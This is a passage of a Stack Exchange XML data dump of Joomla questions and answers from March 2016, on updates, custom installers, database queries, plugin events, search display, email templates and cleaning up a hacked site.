  <row Id="15568" PostTypeId="2" ParentId="15178" CreationDate="2016-03-07T19:57:59.623" Score="0" Body="&lt;p&gt;Solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to re-install joomla version 3.4.8. Do this from your website folder on your web hosting server. NOT from Joomla back end where you install extension.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to your hosting server admin panel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Locate &quot;library&quot; folder in your website folder and rename it to library-x. You can delete library-x later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Upload Joomla_3.4.8-Stable-Full_Package.zip to your website folder on your hosting server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extract Joomla_3.4.8-Stable-Full_Package.zip to your website folder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will fix the problem. It did for mine.&lt;/p&gt;&#xA;" OwnerUserId="7953" LastActivityDate="2016-03-07T19:57:59.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15569" PostTypeId="1" CreationDate="2016-03-07T20:46:03.243" Score="1" ViewCount="53" Body="&lt;p&gt;I got a custom package which contains a component and few modules and few plugins.  The installation of this package takes about 2 to 3 minutes and some time it crosses the PHP maximum execution time and result in a partial installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see few extensions using their own installer (Kunena, Jomsocial etc...) I explored some of their code and I understand that they bypass the Joomla core installer and write their own file transfers, database amendments etc... using AJAX calls (to avoid hitting the maximum execution time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking why cant I do a similar custom script for my package.  Before writing something just thought of checking the below with you.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Am I stepping in the correct direction?&lt;/li&gt;&#xA;&lt;li&gt;Are there any script already exists?&lt;/li&gt;&#xA;&lt;li&gt;Will joomla support these type of installations in future release?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-03-07T20:46:03.243" Title="Custom Installer for Custom Package" Tags="|joomla-3.x|installation|custom-module|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15570" PostTypeId="1" AcceptedAnswerId="15571" CreationDate="2016-03-07T22:27:59.680" Score="3" ViewCount="4012" Body="&lt;p&gt;im trying to update my Joomla from 3.4.5 to 3.4.8 but it doesn't work. &#xA;it gives me this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: :Extension: Could not open &lt;a href=&quot;https://update.joomla.org/core/sts/extension_sts.xml&quot; rel=&quot;nofollow&quot;&gt;https://update.joomla.org/core/sts/extension_sts.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why, or what the solution is. Can anyone please help me? &lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="3650" LastEditDate="2016-03-08T00:30:16.843" LastActivityDate="2016-03-08T00:30:16.843" Title="error: Update: :Extension: Could not open https://update.joomla.org/core/sts/extension_sts.xml" Tags="|joomla-3.x|update|one-click-updates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15571" PostTypeId="2" ParentId="15570" CreationDate="2016-03-07T23:30:34.680" Score="2" Body="&lt;p&gt;I didn't find a solution for this error, what i did was going to Joomla.org download page and download an 3.4.x to 3.4.8 package and installed in the Extensions manager and uploaded it this way. it works now.&lt;/p&gt;&#xA;" OwnerUserId="6918" LastActivityDate="2016-03-07T23:30:34.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15572" PostTypeId="1" AcceptedAnswerId="15574" CreationDate="2016-03-08T07:57:53.400" Score="0" ViewCount="99" Body="&lt;p&gt;Hi I need some help creating a category from inside an upgrade method for a custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have tried to do, any help will be great!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// start up the DB&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;// Select all fields&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('a.category_name','a.desc','a.published'),array('title','description','published')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('jos_oldcomponent_categories', 'a'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('a.id') . ' = '. (int) $id);&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;if ($db-&amp;gt;getNumRows())&#xA;{&#xA;    // get the category&#xA;    $item = $db-&amp;gt;loadAssoc();&#xA;    $item['id'] = 0;&#xA;    $item['alias'] = $this-&amp;gt;getAlias($item['title']);&#xA;    $item['path'] = $item['alias'];&#xA;    $item['access'] = 1;&#xA;    $item['created_user_id'] = 50;&#xA;    $item['created_time'] = '2012-09-18 10:09:09';&#xA;    $item['version'] = 1;&#xA;    $item['language'] = &quot;*&quot;;&#xA;    $item['parent_id'] = 1;&#xA;    $item['level'] = 1;&#xA;    $item['extension'] = 'com_newcomponent';&#xA;    // load some joomla helpers&#xA;    JLoader::import('joomla.application.component.model');&#xA;    // load the model file&#xA;    JLoader::import( 'category', JPATH_ADMINISTRATOR.'/components/com_categories/models' );&#xA;    // return instance&#xA;    $model = JModelLegacy::getInstance( 'category', 'CategoriesModel' );&#xA;    // now save the data&#xA;    $model-&amp;gt;save($item);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not work, it seems like the model does not see the table.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2016-03-08T10:24:11.370" Title="Creating a category from inside any 3rd party model" Tags="|category|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15573" PostTypeId="1" CreationDate="2016-03-08T09:28:09.740" Score="0" ViewCount="1279" Body="&lt;p&gt;I have this problem that I can't resolve. In CMS Joomla I need to select data from table &lt;code&gt;#__adsmanager_ads&lt;/code&gt; column &lt;code&gt;ad_healine&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; from table &lt;code&gt;#__modules&lt;/code&gt; column &lt;code&gt;title&lt;/code&gt;.&lt;br&gt;&#xA;Then check &lt;code&gt;if ad_headline == title&lt;/code&gt; load module (that equal to ad_healine)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this code for single table select:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; Get a db connection.&#xA;$db = JFactory::getDbo();&#xA; // Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('ad_headline')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__adsmanager_ads'));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;    $objectoarr = json_decode(json_encode($results),true); // Convert stdClass object to array&#xA;    print_r($objectoarr);     &#xA;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;=========================================================================&#xA;Next i write code below and problem is almost solver&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query &#xA;    -&amp;gt;select (array('a.ad_headline', 'b.title')) //Select columns from database&#xA;    -&amp;gt;from ($db-&amp;gt;quoteName('#__adsmanager_ads','a'))&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__modules', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.ad_headline') . '=' . $db-&amp;gt;quoteName('b.title').')');&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;$objectoarr = json_decode(json_encode($result),true); // Convert stdClass object to array&#xA;&#xA;foreach ($objectoarr as $adhealine){&#xA;        if ($adhealine[ad_headline] === $adhealine[title])&#xA;        {&#xA;            $document = &amp;amp;JFactory::getDocument();&#xA;            $renderer   = $document-&amp;gt;loadRenderer('modules');&#xA;            $position   = 'inside-ad';&#xA;            $options   = array('style' =&amp;gt; 'raw');&#xA;            echo $renderer-&amp;gt;render($position, $options, null); &#xA;        }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But problem is that all modules set to position &lt;code&gt;inside-ad&lt;/code&gt; loading there. But I need load only module which's name  equivalent to ads name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i solve this problem? Thank in advance&lt;/p&gt;&#xA;" OwnerUserId="5327" LastEditorUserId="5327" LastEditDate="2016-03-09T07:14:22.510" LastActivityDate="2016-03-09T07:14:22.510" Title="Select data from multiple tables with different name and columns" Tags="|joomla-3.x|php|mysql|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15574" PostTypeId="2" ParentId="15572" CreationDate="2016-03-08T10:24:11.370" Score="1" Body="&lt;p&gt;In my installer script of DPCalendar I'm using the following code to create a default category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        JTable::addIncludePath(JPATH_LIBRARIES . '/joomla/database/table');&#xA;        $category = JTable::getInstance('Category');&#xA;        $category-&amp;gt;extension = 'com_dpcalendar';&#xA;        $category-&amp;gt;title = 'Uncategorised';&#xA;        $category-&amp;gt;alias = 'uncategorised';&#xA;        $category-&amp;gt;description = '';&#xA;        $category-&amp;gt;published = 1;&#xA;        $category-&amp;gt;access = 1;&#xA;        $category-&amp;gt;params = '{&quot;category_layout&quot;:&quot;&quot;,&quot;image&quot;:&quot;&quot;,&quot;color&quot;:&quot;3366CC&quot;}';&#xA;        $category-&amp;gt;metadata = '{&quot;author&quot;:&quot;&quot;,&quot;robots&quot;:&quot;&quot;}';&#xA;        $category-&amp;gt;language = '*';&#xA;        $category-&amp;gt;setLocation(1, 'last-child');&#xA;        $category-&amp;gt;store(true);&#xA;        $category-&amp;gt;rebuildPath($category-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2016-03-08T10:24:11.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15575" PostTypeId="2" ParentId="15563" CreationDate="2016-03-08T10:32:32.477" Score="2" Body="&lt;p&gt;You can also ship the language files within your component in the language folder as I do with DPFields &lt;a href=&quot;https://github.com/Digital-Peak/DPFields/blob/master/com_dpfields/admin/dpfields.xml#L48&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Digital-Peak/DPFields/blob/master/com_dpfields/admin/dpfields.xml#L48&lt;/a&gt;. After installation the language files are still in your component folder. Joomla will auto detect the translation files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out that the filename in the manifest file and the folder tree are the same. Otherwise they don't get loaded.&#xA;If it still doesn't work, then it can be that you have an error in your language file. Set &lt;em&gt;Debug Language&lt;/em&gt; to yes in your Joomla configuration, it will tell you which files could be loaded and which ones not.&lt;/p&gt;&#xA;" OwnerUserId="56" LastEditorUserId="56" LastEditDate="2016-03-10T08:42:26.847" LastActivityDate="2016-03-10T08:42:26.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15576" PostTypeId="2" ParentId="15573" CreationDate="2016-03-08T10:36:28.057" Score="1" Body="&lt;p&gt;You want to use a &lt;code&gt;join&lt;/code&gt; in your query to pull back just the records where the module title is the same as the ad headline, so, start by reading this &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#Selecting_Records_from_Multiple_Tables&quot; rel=&quot;nofollow&quot;&gt;Joomla Docs page&lt;/a&gt; and the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.7/en/left-join-optimization.html&quot; rel=&quot;nofollow&quot;&gt;MySQL page&lt;/a&gt;. Then you will need to create a query something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;from('#__adsmanager_ads AS ads');&#xA;$query-&amp;gt;select('ads.ad_headline')&#xA;      -&amp;gt;join(&#xA;             'LEFT',&#xA;             $db-&amp;gt;quoteName('#__modules') . ' ON m.title = ads.ad_headline'&#xA;             )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B.&lt;/strong&gt; _Please note I've just typed this into the browser, so it's probably got mistakes in it.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-03-08T10:36:28.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15578" PostTypeId="1" CreationDate="2016-03-08T10:55:29.380" Score="5" ViewCount="131" Body="&lt;p&gt;I am implementing a plugin for jdownloads to be used in the component smart search. To implement this plugin I have to use the event onFinderCategoryChangeState to actualize the state to the download flies when the state of the categories of them change state. This event should be fired when the state of the category of the downloads change in the list of categories. I put a throw exception in this event function but this exception is never throw when I change a state of a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code in the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onFinderCategoryChangeState($extension, $pks, $value) {&#xA;    throw new Exception('extension --&amp;gt; ' . $extension);&#xA;&#xA;    if ($extension == 'com_jdownloads') {&#xA;        $this-&amp;gt;categoryStateChange($pks, $value):&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the others plugins for the smart search there is this comment in the onFinderCategoryChangeState function:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Method to update the item link information when the item category is&#xA;  changed. This is fired when the item category is published or&#xA;  unplublished from the list view.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why in my case the event doesn't fire?&lt;/p&gt;&#xA;" OwnerUserId="7958" LastActivityDate="2020-12-16T08:33:14.797" Title="onFinderCategoryChangeState event for com_finder in Joomla never fires" Tags="|plugin|smartsearch|plugin-events|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15579" PostTypeId="1" CreationDate="2016-03-08T12:37:33.843" Score="1" ViewCount="178" Body="&lt;p&gt;There is a backend process on my hosting that got hacked few days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process inserts rows in a table. The website is on Joomla. Whenever I move the website from root to another folder, the sites works fine with domain.com/newFolderName but when I bring it back on the root. It keeps inserting the values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I detect what process is doing that? I can't see hidden files on cpanel. I doubt there could be something in the hidden files too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the triggers at database end as well, there is nothing like that. Something is fishy on the application level.&lt;/p&gt;&#xA;" OwnerUserId="7957" LastEditorUserId="7957" LastEditDate="2016-03-09T10:50:38.410" LastActivityDate="2019-09-07T08:51:33.297" Title="Site got hacked - kill the daemon that inserts the data" Tags="|joomla-2.5|cpanel|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15581" PostTypeId="2" ParentId="15578" CreationDate="2016-03-08T20:02:47.190" Score="1" Body="&lt;p&gt;There is a plugin called &amp;quot;Content - Smart Search&amp;quot; element finder in group content that triggers this event. In my installation this plugin was unpublished. It must be published for the onFinderCategoryChangeState to fire.&lt;/p&gt;&#xA;&lt;p&gt;Confusingly there is also a plugin called &amp;quot;Smart Search - Content&amp;quot;, element content in group finder.&lt;/p&gt;&#xA;&lt;p&gt;Are you sure that the &amp;quot;Content - Smart Search&amp;quot; - plugin is published?&lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="360" LastEditDate="2020-12-16T08:33:14.797" LastActivityDate="2020-12-16T08:33:14.797" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15582" PostTypeId="1" AcceptedAnswerId="15583" CreationDate="2016-03-08T22:14:23.030" Score="1" ViewCount="277" Body="&lt;p&gt;I'm building a custom component in Joomla 3.x. I have two tables in my model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;table persons  &#xA;id  name &#xA;1   Peter&#xA;2   Paul&#xA;3   Mary&#xA;&#xA;table cars&#xA;id  personid  make     price&#xA;1   1         BMW      10,000&#xA;2   1         Audi     8,000&#xA;3   1         BMW      6,000&#xA;4   2         BMW      21,000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I'd like to build a query returning persons and their least expensive BMW:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Peter  BMW  6,000&#xA;Paul   BMW  21,000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the MySQL statement I can come up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT p.name, c.make, c.price &#xA;FROM persons AS p &#xA;LEFT JOIN cars AS c ON c.personid = p.id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Translated to Joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db    = $this-&amp;gt;getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('p.name, c.make, c.price');&#xA;$query-&amp;gt;from('#__persons AS p');&#xA;$query-&amp;gt;join('LEFT', '#__cars AS c ON c.personid = p.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But obviously, I first - before &lt;code&gt;JOINing&lt;/code&gt; - need to filter out Peter's Audi (&lt;code&gt;WHERE c.make = 'BMW'&lt;/code&gt;) and sort the remaining BMWs by their price (&lt;code&gt;ORDER BY c.price ASC&lt;/code&gt;).&lt;br&gt;&#xA;But how? I'm stuck on this, and really need some hints.&lt;/p&gt;&#xA;" OwnerUserId="7092" LastEditorUserId="7092" LastEditDate="2016-03-08T22:19:46.277" LastActivityDate="2016-03-08T23:02:23.470" Title="Build a query with JOIN, but filter and sort that joined table first" Tags="|joomla-3.x|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15583" PostTypeId="2" ParentId="15582" CreationDate="2016-03-08T22:41:58.597" Score="1" Body="&lt;p&gt;If all you are wanting to do is add the WHERE clause that is no different than any other DB Query for Joomla. You will need to group things by your user and query the MIN price. The example below should work for you, I included an SQL Fiddle link below as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db    = $this-&amp;gt;getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('p.name, c.make, MIN(c.price)');&#xA;$query-&amp;gt;from('#__persons AS p');&#xA;$query-&amp;gt;join('LEFT', '#__cars AS c ON c.personid = p.id');&#xA;$query-&amp;gt;where(&quot;c.make = 'BMW'&quot;);&#xA;$query-&amp;gt;group('p.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I edited your query to include the MIN(c.price). Notice I have grouped the statement by p.id instead of ordering by c.price ASC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the results of this query &lt;a href=&quot;http://sqlfiddle.com/#!9/23a671/10/0&quot; rel=&quot;nofollow&quot;&gt;at this SQLFiddle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2016-03-08T23:02:23.470" LastActivityDate="2016-03-08T23:02:23.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15584" PostTypeId="2" ParentId="15579" CreationDate="2016-03-08T23:06:39.847" Score="2" Body="&lt;p&gt;As per &lt;a href=&quot;https://joomla.stackexchange.com/a/2339/120&quot;&gt;https://joomla.stackexchange.com/a/2339/120&lt;/a&gt; you have a few choices in your situation such as restoring back to a good version of the website, rebuilding the website or finding and eliminating the malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What usually works best for me is updating everything to the latest version and then using a commercial service such as &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysites.guru&lt;/a&gt; (formerly myjoomla.com) or &lt;a href=&quot;https://sucuri.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;sucuri.net&lt;/a&gt; to scan the web space and find and remove the compromised files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 2.5 is no longer officially supported but you should at least update to the latest version in the series, version 2.5.28 (if you haven't already) and apply the Session Hardening update from December 2015 which you can find at: &lt;a href=&quot;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update all third party extensions to the latest versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check that no rogue CRON job has been set up in your hosting control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the website is clean again, reset the passwords on Joomla Administrator account(s), the database password and your hosting control panel password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider updating to Joomla 3.x.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:51:33.297" LastActivityDate="2019-09-07T08:51:33.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15585" PostTypeId="1" CreationDate="2016-03-09T01:42:06.370" Score="2" ViewCount="515" Body="&lt;p&gt;How do I remove the &quot;Ordering&quot; drop-down menu option from Joomla Search?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to remove the Green highlight section not the Red section by setting 'Use Search Options' to 'No'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k6F6C.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k6F6C.jpg&quot; alt=&quot;A Screenshot of the area I wish to remove&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="7171" LastEditDate="2016-03-09T20:40:55.063" LastActivityDate="2018-04-06T00:05:58.250" Title="Joomla Search - Remove &quot;Ordering&quot; Drop-down menu" Tags="|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15586" PostTypeId="1" AcceptedAnswerId="15626" CreationDate="2016-03-09T03:40:16.757" Score="0" ViewCount="83" Body="&lt;p&gt;How do I without using any legacy structure or classes, use the Joomla feature wich allows you to define forms in an XML file in the folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JCOMPONENT_PATH/models/forms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then import and use these forms in a view? I have tried looking for examples, or even looking at Joomla default components like user and contact. It seems though that these components have a mix of JModelBase and JViewLegacy or JModelLegacy. Therefore, find this all very confusing as a newcomer to Joomla development. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that would be really helpful that I can't seem to find that would also answer this question is a Fully Joomla 3.x only example component with forms (No legacy material used).&lt;/p&gt;&#xA;" OwnerUserId="7962" LastEditorUserId="7962" LastEditDate="2016-03-09T22:39:24.547" LastActivityDate="2016-03-10T15:43:39.527" Title="Components Use form.xml without the use of any legacy classes?" Tags="|joomla-3.x|jform|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15587" PostTypeId="2" ParentId="15585" CreationDate="2016-03-09T04:56:21.393" Score="1" Body="&lt;p&gt;&lt;strong&gt;Search Options&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;Components -&amp;gt; Search -&amp;gt; Options -&amp;gt;  Use Search Options&lt;/code&gt; to &quot;No&quot; will disable the search options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS Override&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could hide the ordering option this via CSS as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.ordering-box {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or possibly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.ordering-box {&#xA;    display: none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may depend on the template you are using. For example, this seems to be correct for the JSN Solid Pro template if the &lt;a href=&quot;http://demo.joomlashine.com/joomla-templates/jsn_solid/pro/index.php?option=com_search&amp;amp;view=search&quot; rel=&quot;nofollow noreferrer&quot;&gt;demo&lt;/a&gt; is anything to go by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rvZ9z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvZ9z.png&quot; alt=&quot;JSN Solid Template Search Option&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking JSN templates as an example, copy the custom CSS code into a custom file e.g. &lt;code&gt;custom.css&lt;/code&gt; and copy the file to the CSS folder at &lt;code&gt;/templates/[template name]/css&lt;/code&gt;. Remember to specify the name of the CSS file at &lt;code&gt;Extensions -&amp;gt; Templates -&amp;gt; [template name] -&amp;gt; SEO &amp;amp; System -&amp;gt; Custom CSS/JS File(s)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;https://joomla.stackexchange.com/a/3878/120&lt;/a&gt; for instructions on adding custom CSS files to other templates.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-03-10T04:02:24.637" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15588" PostTypeId="1" CreationDate="2016-03-09T05:59:49.303" Score="1" ViewCount="217" Body="&lt;p&gt;I'd like to send a formatted HTML email from a custom component. I thought I would be able to create a &lt;code&gt;tmpl&lt;/code&gt; file somewhere like &lt;code&gt;components/mycomponent/views/emailer/tmpl/default_email.php&lt;/code&gt; and then in the view (at &lt;code&gt;components/mycomponent/views/emailer/view.email.php&lt;/code&gt;) I'd be able to render the &lt;code&gt;default_email&lt;/code&gt; view with the data pulled from the model and then send it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears the &quot;normal&quot; Joomla way is to do a &lt;code&gt;sprintf&lt;/code&gt; with a language string to generate the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there no way to render the template file in the view prior to sending the email?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2017-01-03T17:27:34.430" Title="Load an HTML template and to email" Tags="|joomla-3.x|emails|email-template|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15589" PostTypeId="1" AcceptedAnswerId="15590" CreationDate="2016-03-09T06:38:23.020" Score="1" ViewCount="50" Body="&lt;p&gt;I just buy a template from the themeforest &quot;vision-multipurpose-joomla-template&quot;. I see the demo before buy that template. Now I want to install the same template on my website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me how can I apply the same demo as the themeforest's demo shows me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new in joomla and also in themeforest.Any expert please help me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7963" LastActivityDate="2016-03-09T08:55:03.593" Title="How to install the demo templates in joomla" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15590" PostTypeId="2" ParentId="15589" CreationDate="2016-03-09T08:47:30.873" Score="1" Body="&lt;p&gt;themeforest can be an odd place to buy a plugin. It is a marketplace. You must double-check if the template factory is well-known and don't have bad reviews.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top template factories frequently include these resources with a theme:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;The template&lt;/strong&gt;, xxx-9.9.9-template.zip (version numbers are important)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;A quick-start or launcher&lt;/strong&gt;, xxx-9.9.9-launcher.zip, this installer is an installable Joomla CMS, but it has been customized to match the demo site. It rarely includes the same demo images, but it has the same layout with boxes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Resources&lt;/strong&gt;, related assets to create background, logos, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The framework&lt;/strong&gt;, most well-known templates implement a framework to generate pages and configure settings. For example: Gantry, T3, Yoo, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Support Service&lt;/strong&gt;. A site where you can ask pre-sales and support questions (so you don't have to ask here ;-) )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the template provider does not provide these elements, (in my opinion) it is not a good template that will not be flexible. For example, it will have fixed colors or a static grid layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://www.youtube.com/watch?v=KPVP-gNze7o&quot; 